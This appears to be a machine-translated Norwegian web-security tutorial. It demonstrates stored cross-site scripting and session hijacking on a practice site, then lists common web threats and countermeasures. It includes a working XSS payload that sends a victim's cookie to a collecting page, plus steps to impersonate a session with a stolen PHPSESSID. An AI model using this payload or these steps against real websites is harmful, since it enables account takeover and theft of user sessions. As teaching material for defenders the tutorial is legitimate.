Hvordan hacke en nettside? Vanlige nettstedshackingsteknikker

Teknikker for hacking av nettsteder

Flere mennesker har tilgang til internett enn noen gang fรธr. Dette har fรฅtt mange organisasjoner til รฅ utvikle nettbaserte applikasjoner som brukere kan bruke pรฅ nettet for รฅ samhandle med organisasjonen. Dรฅrlig skrevet kode for nettapplikasjoner kan utnyttes til รฅ fรฅ uautorisert tilgang til sensitive data og webservere.

I denne opplรฆringen lรฆrer du hvordan du hacker nettsider, og vi vil introdusere deg til hackingteknikker for nettapplikasjoner og mottiltak du kan sette pรฅ plass for รฅ beskytte mot slike angrep.

Hvordan hacke et nettsted

I dette praktiske scenariet for hacking av nettsteder skal vi kapre brukerรธkten til nettapplikasjonen som ligger pรฅ www.techpanda.org. Vi vil bruke skripting pรฅ tvers av nettsteder for รฅ lese sesjons-ID-en for informasjonskapsler og deretter bruke den til รฅ etterligne en legitim brukerรธkt.

Forutsetningen er at angriperen har tilgang til webapplikasjonen og han รธnsker รฅ kapre รธktene til andre brukere som bruker samme applikasjon. Mรฅlet med dette angrepet kan vรฆre รฅ fรฅ administratortilgang til nettapplikasjonen forutsatt at angriperens tilgangskonto er begrenset.

Trinn 1) Open URL http://www.techpanda.org/.

For praksisformรฅl anbefales det sterkt รฅ fรฅ tilgang ved hjelp av SQL Injection. Viser til dette Artikkel for mer informasjon om hvordan du gjรธr det.

Trinn 2) Skriv inn pรฅloggingsdetaljer.

E-postadressen for pรฅlogging er admin@google.com, passordet er Password2010.

Trinn 3) Sjekk dashbordet.

Hvis du har logget pรฅ vellykket, fรฅr du opp fรธlgende dashbord

Hack et nettsted

Trinn 4) Skriv inn nytt innhold.

Klikk pรฅ Legg til ny kontakt og skriv inn fรธlgende som fornavn

<a href=# onclick=\"document.location=\'http://techpanda.org/snatch_sess_id.php?c=\'+escape\(document.cookie\)\;\">Dark</a>

Trinn 5) Legg til Javascript.

Koden ovenfor bruker JavaScript. Den legger til en hyperkobling med en onclick-hendelse. Nรฅr den intetanende brukeren klikker pรฅ lenken, henter hendelsen PHP informasjonskapselรธkt-ID og sender den til snatch_sess_id.php siden sammen med รธkt-ID-en i URL

Hack et nettsted

Trinn 6) Legg til detaljer.

Skriv inn de resterende detaljene som vist nedenfor og klikk pรฅ Lagre endringer

Hack et nettsted

Trinn 7) Sjekk dashbordet.

Dashbordet ditt vil nรฅ se ut som fรธlgende skjermbilde

Hack et nettsted

Trinn 8) Sjekk รธkt-ID.

  • Siden cross site script-koden er lagret i databasen, vil den bli lastet hver gang brukere med tilgangsrettigheter logger inn
  • La oss anta at administratoren logger pรฅ og klikker pรฅ hyperkoblingen som sier Dark
  • Han/hun vil fรฅ opp vinduet med รธkt-ID-en som vises i URL
  • Hack et nettsted

    Merknader: Skriptet kan sende verdien til en ekstern server hvor PHPSESSID er lagret, deretter ble brukeren omdirigert tilbake til nettstedet som om ingenting hadde skjedd.

    Merknader: verdien du fรฅr kan vรฆre forskjellig fra den pรฅ denne nettsiden hacking opplรฆring, men konseptet er det samme

    Sesjonsetterligning ved hjelp av Firefox og Tamper Data-tillegg

    Flytskjemaet nedenfor viser trinnene du mรฅ ta for รฅ fullfรธre denne รธvelsen.

    Sesjonsetterligning ved hjelp av Firefox og Tamper Data-tillegg

    • Du vil trenge Firefox nettleser for denne delen og Tamper Data-tillegget
    • Open Firefox og installer tillegget som vist i diagrammene nedenfor

    Sesjonsetterligning ved hjelp av Firefox og Tamper Data-tillegg

    Sesjonsetterligning ved hjelp av Firefox og Tamper Data-tillegg

    • Sรธk etter sabotasjedata og klikk deretter pรฅ installer som vist ovenfor

    Sesjonsetterligning ved hjelp av Firefox og Tamper Data-tillegg

    • Klikk pรฅ Godta og installer...

    Sesjonsetterligning ved hjelp av Firefox og Tamper Data-tillegg

    Sesjonsetterligning ved hjelp av Firefox og Tamper Data-tillegg

    • Klikk pรฅ Start pรฅ nytt nรฅ nรฅr installasjonen er fullfรธrt
    • Aktiver menylinjen i Firefox hvis den ikke vises

    Sesjonsetterligning ved hjelp av Firefox og Tamper Data-tillegg

    • Klikk pรฅ verktรธymenyen og velg Tamper Data som vist nedenfor

    Sesjonsetterligning ved hjelp av Firefox og Tamper Data-tillegg

    • Du fรฅr opp fรธlgende vindu. Merk: Hvis Windows er ikke tom, trykk pรฅ slett-knappen

    Sesjonsetterligning ved hjelp av Firefox og Tamper Data-tillegg

    • Klikk pรฅ Start sabotasje-menyen
    • Bytt tilbake til Firefox nettleser, skriv http://www.techpanda.org/dashboard.php trykk deretter enter-tasten for รฅ laste siden
    • Du vil fรฅ fรธlgende popup fra Tamper Data

    Sesjonsetterligning ved hjelp av Firefox og Tamper Data-tillegg

    • Popup-vinduet har tre (3) alternativer. Tamper-alternativet lar deg endre HTTP-hodeinformasjonen fรธr den sendes til serveren.
    • Klikk pรฅ den
    • Du fรฅr opp fรธlgende vindu

    Sesjonsetterligning ved hjelp av Firefox og Tamper Data-tillegg

    • Kopier PHP-sesjons-ID du kopierte fra angrepet URL og lim den inn etter likhetstegnet. Verdien din skal nรฅ se slik ut
    PHPSESSID=2DVLTIPP2N8LDBN11B2RA76LM2
    • Klikk pรฅ OK-knappen
    • Du fรฅr opp popup-vinduet Tamper data igjen

    Sesjonsetterligning ved hjelp av Firefox og Tamper Data-tillegg

    • Fjern merket i avmerkingsboksen som spรธr Fortsette manipulering?
    • Klikk pรฅ send-knappen nรฅr du er ferdig
    • Du skal kunne se dashbordet som vist nedenfor

    Sesjonsetterligning ved hjelp av Firefox og Tamper Data-tillegg

    Merknader: vi logget ikke pรฅ, vi etterlignet en pรฅloggingsรธkt ved รฅ bruke PHPSESSID-verdien vi hentet ved bruk av cross site scripting

    Hva er en webapplikasjon? Hva er nettrusler?

    En nettapplikasjon (alias nettside) er en applikasjon basert pรฅ klient-server-modellen. De server gir databasetilgangen og forretningslogikken. Den ligger pรฅ en webserver. Klientapplikasjonen kjรธrer pรฅ klientnettleseren. Nettapplikasjoner er vanligvis skrevet pรฅ sprรฅk som f.eks Java, C# og VB.Net, PHP, ColdFusion Markup Language osv. databasemotorene som brukes i webapplikasjoner inkluderer MySQL, MS SQL Server, PostgreSQL, SQLiteOsv

    Topp hackingteknikker for nettsteder

    De fleste nettapplikasjoner ligger pรฅ offentlige servere som er tilgjengelige via Internett. Dette gjรธr dem sรฅrbare for angrep pรฅ grunn av lett tilgjengelighet. Fรธlgende er vanlige nettapplikasjonstrusler.

    • SQL Injection โ€“ Mรฅlet med denne trusselen kan vรฆre รฅ omgรฅ pรฅloggingsalgoritmer, sabotere dataene osv.
    • Nektelse av tjenesteangrepโ€“ Mรฅlet med denne trusselen kan vรฆre รฅ nekte legitime brukere tilgang til ressursen
    • Cross Site Scripting XSSโ€“ Mรฅlet med denne trusselen kan vรฆre รฅ injisere kode som kan kjรธres pรฅ nettleseren pรฅ klientsiden.
    • Cookie/Session-forgiftningโ€“ Mรฅlet med denne trusselen er รฅ endre informasjonskapsler/sesjonsdata av en angriper for รฅ fรฅ uautorisert tilgang.
    • Skjematukling โ€“ Mรฅlet med denne trusselen er รฅ endre skjemadata som priser i e-handelsapplikasjoner slik at angriperen kan fรฅ varer til reduserte priser.
    • Code Injeksjon โ€“ Mรฅlet med denne trusselen er รฅ injisere kode som PHP, Python, etc. som kan kjรธres pรฅ serveren. Koden kan installere bakdรธrer, avslรธre sensitiv informasjon osv.
    • defacementโ€“ Mรฅlet med denne trusselen er รฅ endre siden som ble vist pรฅ et nettsted og omdirigere alle sideforespรธrsler til รฉn enkelt side som inneholder angriperens melding.

    Hvordan beskytte nettstedet ditt mot hacks?

    En organisasjon kan ta i bruk fรธlgende policy for รฅ beskytte seg mot nettserverangrep.

    • SQL Injection โ€“ sanering og validering av brukerparametere fรธr de sendes til databasen for behandling kan bidra til รฅ redusere sjansene for รฅ bli angrepet via SQL Injection. Databasemotorer som MS SQL Server, MySQL, etc. stรธtteparametere, og utarbeidede uttalelser. De er mye tryggere enn tradisjonelle SQL-setninger
    • Denial of Service-angrep โ€“ brannmurer kan brukes til รฅ slippe trafikk fra mistenkelig IP-adresse hvis angrepet er en enkel DoS. Riktig konfigurasjon av nettverk og inntrengningsdeteksjonssystem kan ogsรฅ bidra til รฅ redusere sjansene for en DoS angrep vรฆrt vellykket.
    • Cross Site Scripting โ€“ validering og sanering av overskrifter, parametere som sendes via URL, skjemaparametere og skjulte verdier kan bidra til รฅ redusere XSS-angrep.
    • Cookie/Session-forgiftning โ€“ dette kan forhindres ved รฅ kryptere innholdet i informasjonskapslene, tidsavbryte informasjonskapslene etter en stund, assosiere informasjonskapslene med klientens IP-adresse som ble brukt til รฅ lage dem.
    • Formtempering โ€“ dette kan forhindres ved รฅ validere og verifisere brukerinngangen fรธr den behandles.
    • Code Injeksjon โ€“ dette kan forhindres ved รฅ behandle alle parametere som data i stedet for kjรธrbar kode. Sanitisering og validering kan brukes til รฅ implementere dette.
    • Defacement โ€“ en god sikkerhetspolicy for webapplikasjonsutvikling bรธr sikre at den forsegler ofte brukte sรฅrbarheter for รฅ fรฅ tilgang til webserverenDette kan vรฆre en riktig konfigurasjon av operativsystemet, webserverprogramvaren og beste sikkerhetspraksis ved utviklingping webapplikasjoner.
    Se pรฅ dette: 9 Best URL Skannere for รฅ sjekke om lenken er trygg mot skadelig programvare

    Sammendrag

    • En nettapplikasjon er basert pรฅ server-klient-modellen. Klientsiden bruker nettleseren for รฅ fรฅ tilgang til ressursene pรฅ serveren.
    • Nettapplikasjoner er vanligvis tilgjengelige over internett. Dette gjรธr dem sรฅrbare for angrep.
    • Trusler mot nettapplikasjoner inkluderer SQL-injeksjon, Code Injeksjon, XSS, Defacement, Cookie Poisoning, etc.
    • En god sikkerhetspolicy ved utviklingping Nettapplikasjoner kan bidra til รฅ gjรธre dem sikre.

    Oppsummer dette innlegget med: